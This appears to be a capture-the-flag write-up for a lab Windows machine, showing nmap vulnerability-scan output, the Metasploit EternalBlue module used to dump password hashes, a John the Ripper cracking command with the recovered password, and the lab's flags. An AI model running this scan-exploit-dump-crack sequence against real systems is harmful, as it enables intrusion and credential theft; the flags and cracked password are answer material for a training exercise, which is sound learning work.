**Results from scanning machine using nmap -sV -vv --script vuln 10.10.233.196**

Scanning ip-10-10-233-196.eu-west-1.compute.internal (10.10.233.196) [1000 ports]

Discovered open port 49152/tcp on 10.10.233.196

Discovered open port 3389/tcp on 10.10.233.196

Discovered open port 139/tcp on 10.10.233.196

Increasing send delay for 10.10.233.196 from 0 to 5 due to 72 out of 238 dropped probes since last increase.

Discovered open port 445/tcp on 10.10.233.196

Discovered open port 135/tcp on 10.10.233.196

Discovered open port 49158/tcp on 10.10.233.196

Discovered open port 49159/tcp on 10.10.233.196

Discovered open port 49153/tcp on 10.10.233.196

Discovered open port 49154/tcp on 10.10.233.196

Completed SYN Stealth Scan at 02:29, 5.00s elapsed (1000 total ports)

Initiating Service scan at 02:29

Scanning 9 services on ip-10-10-233-196.eu-west-1.compute.internal (10.10.233.196)

Service scan Timing: About 55.56% done; ETC: 02:31 (0:00:43 remaining)

Completed Service scan at 02:30, 58.56s elapsed (9 services on 1 host)

NSE: Script scanning 10.10.233.196.

NSE: Starting runlevel 1 (of 2) scan.

Initiating NSE at 02:30

NSE Timing: About 99.91% done; ETC: 02:30 (0:00:00 remaining)

Completed NSE at 02:31, 32.83s elapsed

NSE: Starting runlevel 2 (of 2) scan.

Initiating NSE at 02:31

NSE: [ssl-ccs-injection 10.10.233.196:3389] No response from server: ERROR

Completed NSE at 02:31, 30.07s elapsed

Nmap scan report for ip-10-10-233-196.eu-west-1.compute.internal (10.10.233.196)

Host is up, received arp-response (0.00036s latency).

Scanned at 2021-06-28 02:29:24 UTC for 126s

Not shown: 991 closed ports

Reason: 991 resets

PORT STATE SERVICE REASON VERSION

135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

445/tcp open microsoft-ds syn-ack ttl 128 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

3389/tcp open tcpwrapped syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

| rdp-vuln-ms12-020:

| VULNERABLE:

| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability

| State: VULNERABLE

| IDs: CVE:CVE-2012-0152

| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)

| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.

|

| Disclosure date: 2012-03-13

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152

| http://technet.microsoft.com/en-us/security/bulletin/ms12-020

|

| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability

| State: VULNERABLE

| IDs: CVE:CVE-2012-0002

| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)

| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.

|

| Disclosure date: 2012-03-13

| References:

| http://technet.microsoft.com/en-us/security/bulletin/ms12-020

|\_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002

|\_ssl-ccs-injection: No reply from server (TIMEOUT)

|\_sslv2-drown:

49152/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49153/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49154/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49158/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49159/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

MAC Address: 02:CA:6F:71:C1:C9 (Unknown)

Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|\_samba-vuln-cve-2012-1182: NT\_STATUS\_ACCESS\_DENIED

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: NT\_STATUS\_ACCESS\_DENIED

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1

| servers (ms17-010).

**What is this machine vulnerable to?**

ms17-010

**Hashdump after running exploit/windows/smb/ms17\_010\_eternalblue in Metasploit**

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

**Cracking hash for Jon dump using John the Ripper**

John --wordlist=/usr/share/wordlists/rockyou.txt --format=NT blue.txt

Using default input encoding: UTF-8

Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])

Warning: no OpenMP support for this hash type, consider --fork=2

Press 'q' or Ctrl-C to abort, almost any other key for status

alqfna22 (Jon)

1g 0:00:00:00 DONE (2021-06-27 21:27) 2.040g/s 20817Kp/s 20817Kc/s 20817KC/s alr19882006..alpusidi

Use the "--show --format=NT" options to display all of the cracked passwords reliably

Session completed

**Flags found in Windows machine**

flag{access\_the\_machine}

flag{sam\_database\_elevated\_access}

flag{admin\_documents\_can\_be\_valuable}